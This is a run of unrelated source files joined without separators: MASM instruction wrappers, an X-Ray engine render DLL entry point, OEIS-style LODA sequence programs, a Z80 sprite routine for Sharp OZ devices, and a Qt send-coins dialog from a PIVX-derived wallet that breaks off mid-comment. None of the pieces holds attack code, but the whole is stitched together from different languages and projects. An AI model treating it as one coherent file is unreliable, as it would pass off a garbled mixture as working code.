; SBB ;################################ op_sbb PROC __ENTER sbb rax,rcx __LEAVE op_sbb ENDP ;################################ ; AND ;################################ op_and PROC __ENTER and rax,rcx __LEAVE op_and ENDP ;################################ ; XOR ;################################ op_xor PROC __ENTER xor rax,rcx __LEAVE op_xor ENDP ;################################ ; OR ;################################ op_or PROC __ENTER or rax,rcx __LEAVE op_or ENDP ;################################ ; INC ;################################ op_inc PROC __ENTER inc rax __LEAVE op_inc ENDP ;################################ ; DEC ;################################ op_dec PROC __ENTER dec rax __LEAVE op_dec ENDP ;################################ ; TEST ;################################ op_test PROC __ENTER test rax,rcx __LEAVE op_test ENDP ;################################ ; CMP ;################################ op_cmp PROC __ENTER cmp rax,rcx __LEAVE op_cmp ENDP ;################################ ; MUL ;################################ op_mul PROC __ENTER mul rcx __LEAVE op_mul ENDP ;################################ ; IMUL ;################################ op_imul PROC __ENTER imul rcx __LEAVE op_imul ENDP ;################################ ; DIV ;################################ op_div PROC __ENTER div rcx __LEAVE op_div ENDP ;################################ ; IDIV ;################################ op_idiv PROC __ENTER idiv rcx __LEAVE op_idiv ENDP ;################################ ; NOT ;################################ op_not PROC __ENTER not rax __LEAVE op_not ENDP ;################################ ; NEG ;################################ op_neg PROC __ENTER neg rax __LEAVE op_neg ENDP ;################################ ; SHR ;################################ op_shr PROC __ENTER shr rax,cl __LEAVE op_shr ENDP ;################################ ; SHL ;################################ op_shl PROC __ENTER shl rax,cl __LEAVE op_shl ENDP ;################################ ; SAR ;################################ op_sar PROC __ENTER sar rax,cl __LEAVE op_sar ENDP ;################################ ; ROL ;################################ op_rol PROC __ENTER rol rax,cl __LEAVE op_rol ENDP ;################################ ; ROR ;################################ op_ror PROC __ENTER ror rax,cl __LEAVE op_ror ENDP ;################################ ; RCL ;################################ op_rcl PROC __ENTER rcl rax,cl __LEAVE op_rcl ENDP ;################################ ; RCR ;################################ op_rcr PROC __ENTER rcr rax,cl __LEAVE op_rcr ENDP ;################################ ; CPUID ;################################ op_cpuid PROC __ENTER cpuid __LEAVE op_cpuid ENDP ;################################ ; BSWAP ;################################ op_bswap PROC __ENTER bswap rax __LEAVE op_bswap ENDP ;################################ ; BSF ;################################ op_bsf PROC __ENTER bsf rax,rcx __LEAVE op_bsf ENDP ;################################ ; BSR ;################################ op_bsr PROC __ENTER bsr rax,rcx __LEAVE op_bsr ENDP ;################################ ; BT ;################################ op_bt PROC __ENTER bt rax,rcx __LEAVE op_bt ENDP ;################################ ; BTS ;################################ op_bts PROC __ENTER bts rax,rcx __LEAVE op_bts ENDP ;################################ ; BTR ;################################ op_btr PROC __ENTER btr rax,rcx __LEAVE op_btr ENDP ;################################ ; BTC ;################################ op_btc PROC __ENTER btc rax,rcx __LEAVE op_btc ENDP ;################################# ;# MOVZX R64,R8 ;################################# op_movzx_r8 PROC __ENTER movzx rax,cl __LEAVE op_movzx_r8 ENDP ;################################# ;# MOVZX R64,R16 ;################################# op_movzx_r16 PROC __ENTER movzx rax,cx __LEAVE op_movzx_r16 ENDP ;################################# ;# MOVSX R64,R8 ;################################# op_movsx_r8 PROC __ENTER movsx rax,cl __LEAVE op_movsx_r8 ENDP ;################################# ;# MOVSX R64,R16 ;################################# op_movsx_r16 PROC __ENTER movsx rax,cx __LEAVE op_movsx_r16 ENDP ;################################ ; XADD ;################################ op_xadd PROC __ENTER xadd rax,rcx __LEAVE op_xadd ENDP ;################################ ;################################ _TEXT ENDS END
// xrRender_R2.cpp : Defines the entry point for the DLL application. // #include "stdafx.h" #include "../xrRender/dxRenderFactory.h" #include "../xrRender/dxUIRender.h" #include "../xrRender/dxDebugRender.h" BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH : ::Render = &RImplementation; ::RenderFactory = &RenderFactoryImpl; ::DU = &DUImpl; //::vid_mode_token = inited by HW; UIRender = &UIRenderImpl; //#ifdef DEBUG DRender = &DebugRenderImpl; //#endif // DEBUG xrRender_initconsole (); break ; case DLL_THREAD_ATTACH : case DLL_THREAD_DETACH : case DLL_PROCESS_DETACH : break; } return TRUE; } extern "C" { bool _declspec(dllexport) SupportsAdvancedRendering(); }; bool _declspec(dllexport) SupportsAdvancedRendering() { D3DCAPS9 caps; CHW _HW; _HW.CreateD3D (); _HW.pD3D->GetDeviceCaps (D3DADAPTER_DEFAULT,D3DDEVTYPE_HAL,&caps); _HW.DestroyD3D (); u16 ps_ver_major = u16 ( u32(u32(caps.PixelShaderVersion)&u32(0xf << 8ul))>>8 ); if (ps_ver_major<3) return false; else return true; }
; A234272: G.f.: (1+4*x+x^2)/(1-4*x+x^2). ; 1,8,32,120,448,1672,6240,23288,86912,324360,1210528,4517752,16860480,62924168,234836192,876420600,3270846208,12206964232,45557010720,170021078648,634527303872,2368088136840,8837825243488,32983212837112,123095026104960,459396891582728,1714492540225952,6398573269321080 mov $1,4 lpb $0,1 sub $0,1 add $2,$1 add $2,$1 add $1,$2 lpe mov $1,1 mov $3,$2 trn $3,1 add $1,$3
; A133931: Expansion of x*(2-4*x^2-x^3)/((1-x)^2*(1-x-x^2)). ; 2,6,10,15,21,29,40,56,80,117,175,267,414,650,1030,1643,2633,4233,6820,11004,17772,28721,46435,75095,121466,196494,317890,514311,832125,1346357,2178400,3524672,5702984,9227565,14930455,24157923,39088278 mov $2,$0 add $0,1 add $2,1 seq $2,129728 ; a(n) = 2*(n-1) + Fibonacci(n). add $0,$2 sub $0,2
; A125200: n*(4*n^2 + n -1)/2. ; 2,17,57,134,260,447,707,1052,1494,2045,2717,3522,4472,5579,6855,8312,9962,11817,13889,16190,18732,21527,24587,27924,31550,35477,39717,44282,49184,54435,60047,66032,72402,79169,86345,93942,101972,110447,119379,128780,138662,149037,159917,171314,183240,195707,208727,222312,236474,251225,266577,282542,299132,316359,334235,352772,371982,391877,412469,433770,455792,478547,502047,526304,551330,577137,603737,631142,659364,688415,718307,749052,780662,813149,846525,880802,915992,952107,989159,1027160,1066122,1106057,1146977,1188894,1231820,1275767,1320747,1366772,1413854,1462005,1511237,1561562,1612992,1665539,1719215,1774032,1830002,1887137,1945449,2004950,2065652,2127567,2190707,2255084,2320710,2387597,2455757,2525202,2595944,2667995,2741367,2816072,2892122,2969529,3048305,3128462,3210012,3292967,3377339,3463140,3550382,3639077,3729237,3820874,3914000,4008627,4104767,4202432,4301634,4402385,4504697,4608582,4714052,4821119,4929795,5040092,5152022,5265597,5380829,5497730,5616312,5736587,5858567,5982264,6107690,6234857,6363777,6494462,6626924,6761175,6897227,7035092,7174782,7316309,7459685,7604922,7752032,7901027,8051919,8204720,8359442,8516097,8674697,8835254,8997780,9162287,9328787,9497292,9667814,9840365,10014957,10191602,10370312,10551099,10733975,10918952,11106042,11295257,11486609,11680110,11875772,12073607,12273627,12475844,12680270,12886917,13095797,13306922,13520304,13735955,13953887,14174112,14396642,14621489,14848665,15078182,15310052,15544287,15780899,16019900,16261302,16505117,16751357,17000034,17251160,17504747,17760807,18019352,18280394,18543945,18810017,19078622,19349772,19623479,19899755,20178612,20460062,20744117,21030789,21320090,21612032,21906627,22203887,22503824,22806450,23111777,23419817,23730582,24044084,24360335,24679347,25001132,25325702,25653069,25983245,26316242,26652072,26990747,27332279,27676680,28023962,28374137,28727217,29083214,29442140,29804007,30168827,30536612,30907374,31281125 add $0,1 mov $2,$0 mul $2,2 sub $2,1 mov $3,1 mov $4,1 lpb $0,1 add $3,$2 mov $2,9 sub $3,$0 sub $0,1 add $4,$3 add $1,$4 add $3,$0 lpe
; ; Sharp OZ family functions ; ; ported from the OZ-7xx SDK by by Alexander R. Pruss ; by Stefano Bodrato - Oct. 2003 ; ; Alternate sprite library ; ; void ozputsprite (byte x,byte y,byte height,byte *sprite) ; ; except for C wrappers, code (c) 2001 Benjamin Green ; ; ; ; ------ ; $Id: ozputsprite.asm,v 1.1 2003/10/29 11:37:11 stefano Exp $ ; XLIB ozputsprite XREF ozactivepage ozputsprite: ld bc,TheSprite ;ld hl,6 ;add hl,sp ;ld a,(hl) ; height ld hl,4 add hl,sp ld a,(hl) ; height add a,a ret z cp 160 ret nc dec hl dec hl ; sprite ld e,(hl) ld (hl),c inc hl ld d,(hl) ld (hl),b ex de,hl ld e,c ld d,b ; de=TheSprite ld c,a ld b,0 ldir ;jp ___ozputsprite ___ozputsprite: ;; ___ozputsprite(byte x,byte y,byte height,byte *sprite) pop hl ld c,3 in e,(c) inc c in d,(c) ld bc,(ozactivepage) ld a,c out (3),a ld a,b out (4),a ld (ix_save+2),ix ld (iy_save+2),iy exx ;; save initial screen stuff ;pop de ; y ;pop bc ; x ;ld b,e ;call getscreenptr ;pop bc ; height ;ld b,c ;pop ix ; sprite pop ix ; sprite pop bc ; height pop bc ; x pop de ; y push bc push de ld b,e call getscreenptr pop de pop bc push bc ; clean up stack push bc push bc push bc di ;; in case we go off screen with transparent portion call putsprite ei exx ;; restore initial screen ix_save: ld ix,0 ;$ix_save equ $-2 iy_save: ld iy,0 ;$iy_save equ $-2 ld c,3 out (c),e inc c out (c),d jp (hl) ;; By Benjamin Green ; sprite format: ; (byte image, byte mask)*height ; image mask ; 0 0 = white ; 1 0 = black ; 0 1 = transparent ; 1 1 = invert putsprite: ; draws sprite (address IX, height B) at (address IY, bit A) ld c,a and a jp z,_aligned _yloop: push bc ld l,(ix+1) ld h,0FFh ld b,c scf _shl1: rl l rl h djnz _shl1 ld a,(iy+0) and l ld e,a ld a,(iy+1) and h ld d,a ld l,(ix+0) ld h,0 ld b,c _shl2: sla l rl h djnz _shl2 ld a,e xor l ld (iy+0),a ld a,d xor h ld (iy+1),a inc ix inc ix ld de,30 add iy,de pop bc djnz _yloop ret _aligned: ld de,30 _a_yloop: ld l,(ix+1) ld a,(iy+0) and l ld l,(ix+0) xor l ld (iy+0),a inc ix inc ix add iy,de djnz _a_yloop ret getscreenptr: ; converts (B,C) into screen location IY, bit offset A ;;push de ;;push hl ld h,0 ld l,c sla l ld d,h ld e,l add hl,hl add hl,hl add hl,hl add hl,hl ;;cp a sbc hl,de ld d,0A0h ; for page at A000 ld e,b srl e srl e srl e add hl,de push hl pop iy ld a,b and 7 ;;pop hl ;;pop de ret TheSprite: defs 160
// Copyright (c) 2011-2014 The Bitcoin developers // Copyright (c) 2014-2015 The Dash developers // Copyright (c) 2015-2017 The PIVX developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "sendcoinsdialog.h" #include "ui_sendcoinsdialog.h" #include "addresstablemodel.h" #include "askpassphrasedialog.h" #include "bitcoinunits.h" #include "clientmodel.h" #include "coincontroldialog.h" #include "guiutil.h" #include "optionsmodel.h" #include "sendcoinsentry.h" #include "walletmodel.h" #include "base58.h" #include "coincontrol.h" #include "ui_interface.h" #include "utilmoneystr.h" #include "wallet.h" #include <QMessageBox> #include <QScrollBar> #include <QSettings> #include <QTextDocument> SendCoinsDialog::SendCoinsDialog(QWidget* parent) : QDialog(parent), ui(new Ui::SendCoinsDialog), clientModel(0), model(0), fNewRecipientAllowed(true), fFeeMinimized(true) { ui->setupUi(this); #ifdef Q_OS_MAC // Icons on push buttons are very uncommon on Mac ui->addButton->setIcon(QIcon()); ui->clearButton->setIcon(QIcon()); ui->sendButton->setIcon(QIcon()); #endif GUIUtil::setupAddressWidget(ui->lineEditCoinControlChange, this); addEntry(); connect(ui->addButton, SIGNAL(clicked()), this, SLOT(addEntry())); connect(ui->clearButton, SIGNAL(clicked()), this, SLOT(clear())); // Coin Control connect(ui->pushButtonCoinControl, SIGNAL(clicked()), this, SLOT(coinControlButtonClicked())); connect(ui->checkBoxCoinControlChange, SIGNAL(stateChanged(int)), this, SLOT(coinControlChangeChecked(int))); connect(ui->lineEditCoinControlChange, SIGNAL(textEdited(const QString&)), this, SLOT(coinControlChangeEdited(const QString&))); // UTXO Splitter connect(ui->splitBlockCheckBox, SIGNAL(stateChanged(int)), this, SLOT(splitBlockChecked(int))); connect(ui->splitBlockLineEdit, SIGNAL(textChanged(const QString&)), this, SLOT(splitBlockLineEditChanged(const QString&))); // Ar3na specific QSettings settings; if (!settings.contains("bUseSwiftTX")) settings.setValue("bUseSwiftTX", false); bool useSwiftTX = settings.value("bUseSwiftTX").toBool(); if (fLiteMode) { ui->checkSwiftTX->setVisible(false); CoinControlDialog::coinControl->useSwiftTX = false; } else { ui->checkSwiftTX->setChecked(useSwiftTX); CoinControlDialog::coinControl->useSwiftTX = useSwiftTX; } connect(ui->checkSwiftTX, SIGNAL(stateChanged(int)), this, SLOT(updateSwiftTX())); // Coin Control: clipboard actions QAction* clipboardQuantityAction = new QAction(tr("Copy quantity"), this); QAction* clipboardAmountAction = new QAction(tr("Copy amount"), this); QAction* clipboardFeeAction = new QAction(tr("Copy fee"), this); QAction* clipboardAfterFeeAction = new QAction(tr("Copy after fee"), this); QAction* clipboardBytesAction = new QAction(tr("Copy bytes"), this); QAction* clipboardPriorityAction = new QAction(tr("Copy priority"), this); QAction* clipboardLowOutputAction = new QAction(tr("Copy dust"), this); QAction* clipboardChangeAction = new QAction(tr("Copy change"), this); connect(clipboardQuantityAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardQuantity())); connect(clipboardAmountAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardAmount())); connect(clipboardFeeAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardFee())); connect(clipboardAfterFeeAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardAfterFee())); connect(clipboardBytesAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardBytes())); connect(clipboardPriorityAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardPriority())); connect(clipboardLowOutputAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardLowOutput())); connect(clipboardChangeAction, SIGNAL(triggered()), this, SLOT(coinControlClipboardChange())); ui->labelCoinControlQuantity->addAction(clipboardQuantityAction); ui->labelCoinControlAmount->addAction(clipboardAmountAction); ui->labelCoinControlFee->addAction(clipboardFeeAction); ui->labelCoinControlAfterFee->addAction(clipboardAfterFeeAction); ui->labelCoinControlBytes->addAction(clipboardBytesAction); ui->labelCoinControlPriority->addAction(clipboardPriorityAction); ui->labelCoinControlLowOutput->addAction(clipboardLowOutputAction); ui->labelCoinControlChange->addAction(clipboardChangeAction); // init transaction fee section if (!settings.contains("fFeeSectionMinimized")) settings.setValue("fFeeSectionMinimized", true); if (!settings.contains("nFeeRadio") && settings.contains("nTransactionFee") && settings.value("nTransactionFee").toLongLong() > 0) // compatibility settings.setValue("nFeeRadio", 1); // custom if (!settings.contains("nFeeRadio")) settings.setValue("nFeeRadio", 0); // recommended if (!settings.contains("nCustomFeeRadio") && settings.contains("nTransactionFee") && settings.value("nTransactionFee").toLongLong() > 0) // compatibility settings.setValue("nCustomFeeRadio", 1); // total at least if (!settings.contains("nCustomFeeRadio")) settings.setValue("nCustomFeeRadio", 0); // per kilobyte if (!settings.contains("nSmartFeeSliderPosition")) settings.setValue("nSmartFeeSliderPosition", 0); if (!settings.contains("nTransactionFee")) settings.setValue("nTransactionFee", (qint64)DEFAULT_TRANSACTION_FEE); if (!settings.contains("fPayOnlyMinFee")) settings.setValue("fPayOnlyMinFee", false); if (!settings.contains("fSendFreeTransactions")) settings.setValue("fSendFreeTransactions", false); ui->groupFee->setId(ui->radioSmartFee, 0); ui->groupFee->setId(ui->radioCustomFee, 1); ui->groupFee->button((int)std::max(0, std::min(1, settings.value("nFeeRadio").toInt())))->setChecked(true); ui->groupCustomFee->setId(ui->radioCustomPerKilobyte, 0); ui->groupCustomFee->setId(ui->radioCustomAtLeast, 1); ui->groupCustomFee->button((int)std::max(0, std::min(1, settings.value("nCustomFeeRadio").toInt())))->setChecked(true); ui->sliderSmartFee->setValue(settings.value("nSmartFeeSliderPosition").toInt()); ui->customFee->setValue(settings.value("nTransactionFee").toLongLong()); ui->checkBoxMinimumFee->setChecked(settings.value("fPayOnlyMinFee").toBool()); ui->checkBoxFreeTx->setChecked(settings.value("fSendFreeTransactions").toBool()); minimizeFeeSection(settings.value("fFeeSectionMinimized").toBool()); } void SendCoinsDialog::setClientModel(ClientModel* clientModel) { this->clientModel = clientModel; if (clientModel) { connect(clientModel, SIGNAL(numBlocksChanged(int)), this, SLOT(updateSmartFeeLabel())); } } void SendCoinsDialog::setModel(WalletModel* model) { this->model = model; if (model && model->getOptionsModel()) { for (int i = 0; i < ui->entries->count(); ++i) { SendCoinsEntry* entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget()); if (entry) { entry->setModel(model); } } setBalance(model->getBalance(), model->getUnconfirmedBalance(), model->getImmatureBalance(), model->getWatchBalance(), model->getWatchUnconfirmedBalance(), model->getWatchImmatureBalance()); connect(model, SIGNAL(balanceChanged(CAmount, CAmount, CAmount, CAmount, CAmount, CAmount)), this, SLOT(setBalance(CAmount, CAmount, CAmount, CAmount, CAmount, CAmount))); connect(model->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(updateDisplayUnit())); updateDisplayUnit(); // Coin Control connect(model->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(coinControlUpdateLabels())); connect(model->getOptionsModel(), SIGNAL(coinControlFeaturesChanged(bool)), this, SLOT(coinControlFeatureChanged(bool))); ui->frameCoinControl->setVisible(model->getOptionsModel()->getCoinControlFeatures()); coinControlUpdateLabels(); // fee section connect(ui->sliderSmartFee, SIGNAL(valueChanged(int)), this, SLOT(updateSmartFeeLabel())); connect(ui->sliderSmartFee, SIGNAL(valueChanged(int)), this, SLOT(updateGlobalFeeVariables())); connect(ui->sliderSmartFee, SIGNAL(valueChanged(int)), this, SLOT(coinControlUpdateLabels())); connect(ui->groupFee, SIGNAL(buttonClicked(int)), this, SLOT(updateFeeSectionControls())); connect(ui->groupFee, SIGNAL(buttonClicked(int)), this, SLOT(updateGlobalFeeVariables())); connect(ui->groupFee, SIGNAL(buttonClicked(int)), this, SLOT(coinControlUpdateLabels())); connect(ui->groupCustomFee, SIGNAL(buttonClicked(int)), this, SLOT(updateGlobalFeeVariables())); connect(ui->groupCustomFee, SIGNAL(buttonClicked(int)), this, SLOT(coinControlUpdateLabels())); connect(ui->customFee, SIGNAL(valueChanged()), this, SLOT(updateGlobalFeeVariables())); connect(ui->customFee, SIGNAL(valueChanged()), this, SLOT(coinControlUpdateLabels())); connect(ui->checkBoxMinimumFee, SIGNAL(stateChanged(int)), this, SLOT(setMinimumFee())); connect(ui->checkBoxMinimumFee, SIGNAL(stateChanged(int)), this, SLOT(updateFeeSectionControls())); connect(ui->checkBoxMinimumFee, SIGNAL(stateChanged(int)), this, SLOT(updateGlobalFeeVariables())); connect(ui->checkBoxMinimumFee, SIGNAL(stateChanged(int)), this, SLOT(coinControlUpdateLabels())); connect(ui->checkBoxFreeTx, SIGNAL(stateChanged(int)), this, SLOT(updateGlobalFeeVariables())); connect(ui->checkBoxFreeTx, SIGNAL(stateChanged(int)), this, SLOT(coinControlUpdateLabels())); ui->customFee->setSingleStep(CWallet::minTxFee.GetFeePerK()); updateFeeSectionControls(); updateMinFeeLabel(); updateSmartFeeLabel(); updateGlobalFeeVariables(); } } SendCoinsDialog::~SendCoinsDialog() { QSettings settings; settings.setValue("fFeeSectionMinimized", fFeeMinimized); settings.setValue("nFeeRadio", ui->groupFee->checkedId()); settings.setValue("nCustomFeeRadio", ui->groupCustomFee->checkedId()); settings.setValue("nSmartFeeSliderPosition", ui->sliderSmartFee->value()); settings.setValue("nTransactionFee", (qint64)ui->customFee->value()); settings.setValue("fPayOnlyMinFee", ui->checkBoxMinimumFee->isChecked()); settings.setValue("fSendFreeTransactions", ui->checkBoxFreeTx->isChecked()); delete ui; } void SendCoinsDialog::on_sendButton_clicked() { if (!model || !model->getOptionsModel()) return; QList<SendCoinsRecipient> recipients; bool valid = true; for (int i = 0; i < ui->entries->count(); ++i) { SendCoinsEntry* entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget()); //UTXO splitter - address should be our own CBitcoinAddress address = entry->getValue().address.toStdString(); if (!model->isMine(address) && ui->splitBlockCheckBox->checkState() == Qt::Checked) { CoinControlDialog::coinControl->fSplitBlock = false; ui->splitBlockCheckBox->setCheckState(Qt::Unchecked); QMessageBox::warning(this, tr("Send Coins"), tr("The split block tool does not work when sending to outside addresses. Try again."), QMessageBox::Ok, QMessageBox::Ok); return; } if (entry) { if (entry->validate()) { recipients.append(entry->getValue()); } else { valid = false; } } } if (!valid || recipients.isEmpty()) { return; } //set split block in model CoinControlDialog::coinControl->fSplitBlock = ui->splitBlockCheckBox->checkState() == Qt::Checked; if (ui->entries->count() > 1 && ui->splitBlockCheckBox->checkState() == Qt::Checked) { CoinControlDialog::coinControl->fSplitBlock = false; ui->splitBlockCheckBox->setCheckState(Qt::Unchecked); QMessageBox::warning(this, tr("Send Coins"), tr("The split block tool does not work with multiple addresses. Try again."), QMessageBox::Ok, QMessageBox::Ok); return; } if (CoinControlDialog::coinControl->fSplitBlock) CoinControlDialog::coinControl->nSplitBlock = int(ui->splitBlockLineEdit->text().toInt()); QString strFee = ""; recipients[0].inputType = ALL_COINS; QString strFunds = tr("using") + " <b>" + tr("any available funds (not recommended)") + "</b>"; if (ui->checkSwiftTX->isChecked()) { recipients[0].useSwiftTX = true; strFunds += " "; strFunds += tr("and SwiftTX"); } else { recipients[0].useSwiftTX = false; } // Format confirmation message QStringList formatted; foreach (const SendCoinsRecipient& rcp, recipients) { // generate bold amount string QString amount = "<b>" + BitcoinUnits::formatHtmlWithUnit(model->getOptionsModel()->getDisplayUnit(), rcp.amount); amount.append("</b> ").append(strFunds); // generate monospace address string QString address = "<span style='font-family: monospace;'>" + rcp.address; address.append("</span>"); QString recipientElement; if (!rcp.paymentRequest.IsInitialized()) // normal payment { if (rcp.label.length() > 0) // label with address { recipientElement = tr("%1 to %2").arg(amount, GUIUtil::HtmlEscape(rcp.label)); recipientElement.append(QString(" (%1)").arg(address)); } else // just address { recipientElement = tr("%1 to %2").arg(amount, address); } } else if (!rcp.authenticatedMerchant.isEmpty()) // secure payment request { recipientElement = tr("%1 to %2").arg(amount, GUIUtil::HtmlEscape(rcp.authenticatedMerchant)); } else // insecure payment request { recipientElement = tr("%1 to %2").arg(amount, address); } if (fSplitBlock) { recipientElement.append(tr(" split into %1 outputs using the UTXO splitter.").arg(CoinControlDialog::coinControl->nSplitBlock)); } formatted.append(recipientElement); } fNewRecipientAllowed = false; // request unlock only if was locked // this way we let users unlock by walletpassphrase or by menu // and make many transactions while unlocking through this dialog // will call relock WalletModel::EncryptionStatus encStatus = model->getEncryptionStatus(); if (encStatus == model->Locked) { WalletModel::UnlockContext ctx(model->requestUnlock(true)); if (!ctx.isValid()) { // Unlock wallet was cancelled fNewRecipientAllowed = true; return; } send(recipients, strFee, formatted); return; } // already unlocked or not encrypted at all send(recipients, strFee, formatted); } void SendCoinsDialog::send(QList<SendCoinsRecipient> recipients, QString strFee, QStringList formatted) { // prepare transaction for getting txFee earlier WalletModelTransaction currentTransaction(recipients); WalletModel::SendCoinsReturn prepareStatus; if (model->getOptionsModel()->getCoinControlFeatures()) // coin control enabled prepareStatus = model->prepareTransaction(currentTransaction, CoinControlDialog::coinControl); else prepareStatus = model->prepareTransaction(currentTransaction); // process prepareStatus and on error generate message shown to user processSendCoinsReturn(prepareStatus, BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), currentTransaction.getTransactionFee()), true); if (prepareStatus.status != WalletModel::OK) { fNewRecipientAllowed = true; return; } CAmount txFee = currentTransaction.getTransactionFee(); QString questionString = tr("Are you sure you want to send?"); questionString.append("<br /><br />%1"); if (txFee > 0) { // append fee string if a fee is required questionString.append("<hr /><span style='color:#aa0000;'>"); questionString.append(BitcoinUnits::formatHtmlWithUnit(model->getOptionsModel()->getDisplayUnit(), txFee)); questionString.append("</span> "); questionString.append(tr("are added as transaction fee")); questionString.append(" "); questionString.append(strFee); // append transaction size questionString.append(" (" + QString::number((double)currentTransaction.getTransactionSize() / 1000) + " kB)"); } // add total amount in all subdivision units questionString.append("<hr />"); CAmount totalAmount = currentTransaction.getTotalTransactionAmount() + txFee; QStringList alternativeUnits; foreach (BitcoinUnits::Unit u, BitcoinUnits::availableUnits()) { if (u != model->getOptionsModel()->getDisplayUnit()) alternativeUnits.append(BitcoinUnits::formatHtmlWithUnit(u, totalAmount)); } // Show total amount + all alternative units questionString.append(tr("Total Amount = <b>%1</b><br />= %2") .arg(BitcoinUnits::formatHtmlWithUnit(model->getOptionsModel()->getDisplayUnit(), totalAmount)) .arg(alternativeUnits.join("<br />= "))); // Limit number of displayed entries int messageEntries = formatted.size(); int displayedEntries = 0; for (int i = 0; i < formatted.size(); i++) { if (i >= MAX_SEND_POPUP_ENTRIES) { formatted.removeLast(); i--; } else { displayedEntries = i + 1; } } questionString.append("<hr />"); questionString.append(tr("<b>(%1 of %2 entries displayed)</b>").arg(displayedEntries).arg(messageEntries)); // Display message box QMessageBox::StandardButton retval = QMessageBox::question(this, tr("Confirm send coins"), questionString.arg(formatted.join("<br />")), QMessageBox::Yes | QMessageBox::Cancel, QMessageBox::Cancel); if (retval != QMessageBox::Yes) { fNewRecipientAllowed = true; return; } // now send the prepared transaction WalletModel::SendCoinsReturn sendStatus = model->sendCoins(currentTransaction); // process sendStatus and on error generate message shown to user processSendCoinsReturn(sendStatus); if (sendStatus.status == WalletModel::OK) { accept(); CoinControlDialog::coinControl->UnSelectAll(); coinControlUpdateLabels(); } fNewRecipientAllowed = true; } void SendCoinsDialog::clear() { // Remove entries until only one left while (ui->entries->count()) { ui->entries->takeAt(0)->widget()->deleteLater(); } addEntry(); updateTabsAndLabels(); } void SendCoinsDialog::reject() { clear(); } void SendCoinsDialog::accept() { clear(); } SendCoinsEntry* SendCoinsDialog::addEntry() { SendCoinsEntry* entry = new SendCoinsEntry(this); entry->setModel(model); ui->entries->addWidget(entry); connect(entry, SIGNAL(removeEntry(SendCoinsEntry*)), this, SLOT(removeEntry(SendCoinsEntry*))); connect(entry, SIGNAL(payAmountChanged()), this, SLOT(coinControlUpdateLabels())); updateTabsAndLabels(); // Focus the field, so that entry can start immediately entry->clear(); entry->setFocus(); ui->scrollAreaWidgetContents->resize(ui->scrollAreaWidgetContents->sizeHint()); qApp->processEvents(); QScrollBar* bar = ui->scrollArea->verticalScrollBar(); if (bar) bar->setSliderPosition(bar->maximum()); return entry; } void SendCoinsDialog::updateTabsAndLabels() { setupTabChain(0); coinControlUpdateLabels(); } void SendCoinsDialog::removeEntry(SendCoinsEntry* entry) { entry->hide(); // If the last entry is about to be removed add an empty one if (ui->entries->count() == 1) addEntry(); entry->deleteLater(); updateTabsAndLabels(); } QWidget* SendCoinsDialog::setupTabChain(QWidget* prev) { for (int i = 0; i < ui->entries->count(); ++i) { SendCoinsEntry* entry = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(i)->widget()); if (entry) { prev = entry->setupTabChain(prev); } } QWidget::setTabOrder(prev, ui->sendButton); QWidget::setTabOrder(ui->sendButton, ui->clearButton); QWidget::setTabOrder(ui->clearButton, ui->addButton); return ui->addButton; } void SendCoinsDialog::setAddress(const QString& address) { SendCoinsEntry* entry = 0; // Replace the first entry if it is still unused if (ui->entries->count() == 1) { SendCoinsEntry* first = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(0)->widget()); if (first->isClear()) { entry = first; } } if (!entry) { entry = addEntry(); } entry->setAddress(address); } void SendCoinsDialog::pasteEntry(const SendCoinsRecipient& rv) { if (!fNewRecipientAllowed) return; SendCoinsEntry* entry = 0; // Replace the first entry if it is still unused if (ui->entries->count() == 1) { SendCoinsEntry* first = qobject_cast<SendCoinsEntry*>(ui->entries->itemAt(0)->widget()); if (first->isClear()) { entry = first; } } if (!entry) { entry = addEntry(); } entry->setValue(rv); updateTabsAndLabels(); } bool SendCoinsDialog::handlePaymentRequest(const SendCoinsRecipient& rv) { // Just paste the entry, all pre-checks // are done in paymentserver.cpp. pasteEntry(rv); return true; } void SendCoinsDialog::setBalance(const CAmount& balance, const CAmount& unconfirmedBalance, const CAmount& immatureBalance, const CAmount& watchBalance, const CAmount& watchUnconfirmedBalance, const CAmount& watchImmatureBalance) { Q_UNUSED(unconfirmedBalance); Q_UNUSED(immatureBalance); Q_UNUSED(watchBalance); Q_UNUSED(watchUnconfirmedBalance); Q_UNUSED(watchImmatureBalance); if (model && model->getOptionsModel()) { uint64_t bal = 0; QSettings settings; bal = balance; ui->labelBalance->setText(BitcoinUnits::formatWithUnit(model->getOptionsModel()->getDisplayUnit(), bal)); } } void SendCoinsDialog::updateDisplayUnit() { TRY_LOCK(cs_main, lockMain); if (!lockMain) return; setBalance(model->getBalance(), model->getUnconfirmedBalance(), model->getImmatureBalance(), model->getWatchBalance(), model->getWatchUnconfirmedBalance(), model->getWatchImmatureBalance()); coinControlUpdateLabels(); ui->customFee->setDisplayUnit(model->getOptionsModel()->getDisplayUnit()); updateMinFeeLabel(); updateSmartFeeLabel(); } void SendCoinsDialog::updateSwiftTX() { QSettings settings; settings.setValue("bUseSwiftTX", ui->checkSwiftTX->isChecked()); CoinControlDialog::coinControl->useSwiftTX = ui->checkSwiftTX->isChecked(); coinControlUpdateLabels(); } void SendCoinsDialog::processSendCoinsReturn(const WalletModel::SendCoinsReturn& sendCoinsReturn, const QString& msgArg, bool fPrepare) { bool fAskForUnlock = false; QPair<QString, CClientUIInterface::MessageBoxFlags> msgParams; // Default to a warning message, override if error message is needed msgParams.second = CClientUIInterface::MSG_WARNING; // This comment is specific to SendCoinsDialog usage of WalletModel::SendCoinsReturn. // WalletModel::TransactionCommitFailed is used only in WalletModel::sendCoins() // all others are used only in 